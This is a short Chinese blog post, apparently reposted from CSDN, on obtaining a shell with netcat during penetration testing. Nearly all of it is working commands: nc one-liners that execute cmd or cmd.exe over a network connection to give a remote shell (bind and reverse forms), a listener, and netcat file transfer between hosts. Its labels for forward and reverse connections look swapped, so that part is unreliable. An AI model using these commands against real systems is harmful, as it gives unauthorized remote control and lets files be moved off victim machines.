系统相关
首页 > 系统相关> > nc连接获取shell

nc连接获取shell

作者:互联网

1.渗透过程中免不了获取shell,可以通过nc工具连接,当然还有其他很多的工具,只不过nc默认安装在linux中,比较方便。

nc正向连接,防火墙不阻挡外来流量:

客户端:
nc -e cmd  192.168.0.18 4444  #主动连接客户端的4444端口
服务端:
nc -lvvp   4444  #监听4444端口

 

 nc反向连接,防火墙阻挡外部流量:

服务端:
nc -l -p 4444 -t -e cmd.exe  #-t通过telnet模式执行,可以省略
客户端:
nc -nvv 192.168.0.18 4444

 nc通信:

服务端:
nc -lvvp 4444
客户端:
nc 192.168.0.16 4444

 nc传输文件:

服务端:
nc -l -p 4444 > test
客户端:
nc 192.168.0.16 4444 < 1.txt

两种客户端必须同为一种操作系统

 

 

 

标签:shell,nc,192.168,4444,连接,服务端,客户端
来源: https://blog.csdn.net/lionwerson/article/details/121815815